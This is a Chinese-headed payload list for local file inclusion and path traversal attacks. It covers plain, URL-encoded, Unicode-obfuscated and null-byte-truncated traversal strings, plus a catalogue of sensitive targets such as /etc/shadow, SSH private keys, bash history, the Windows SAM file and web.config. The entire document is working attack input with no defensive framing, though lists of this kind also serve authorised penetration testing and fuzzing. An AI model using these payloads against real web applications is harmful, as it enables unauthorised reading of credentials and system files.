# LFI路径遍历Payloads

# 基础遍历
../
..\
..//
....//
..././
../../
..\/..\
../../..\
../../../../
../../../
....//....//....//
..\..\..\

# URL编码变体
%2e%2e%2f
%252e%252e%252f
%252e%252e%25af
..%c0%af
..%c0%af..
%2e%2e
..%5c
%2e%2e%5c

# Unicode混淆
%c0%ae%c0%ae%c0%af
..%u002f
..%uff0e
%u002e%u002e%u002f

# 路径截断
../../../etc/passwd%00
../../../../etc/passwd%2500
../../../../etc/passwd%00.jpg
../../../../etc/passwd%00.html
../../../../etc/passwd%0000

# Windows路径
..\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
....//....//....//....//....//....//windows/win.ini
..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\drivers\etc\hosts

# 绝对路径
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/issue
/etc/motd
/proc/self/environ
/proc/self/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/status
/proc/version
/proc/net/tcp
/proc/net/arp
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/syslog
/var/log/messages
/home/[USER]/.ssh/id_rsa
/home/[USER]/.ssh/authorized_keys
/home/[USER]/.bash_history
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\inetpub\wwwroot\web.config

# 混合路径
./etc/passwd
..///etc/passwd
.././etc/passwd
....//./etc/passwd
../../
..././
..../
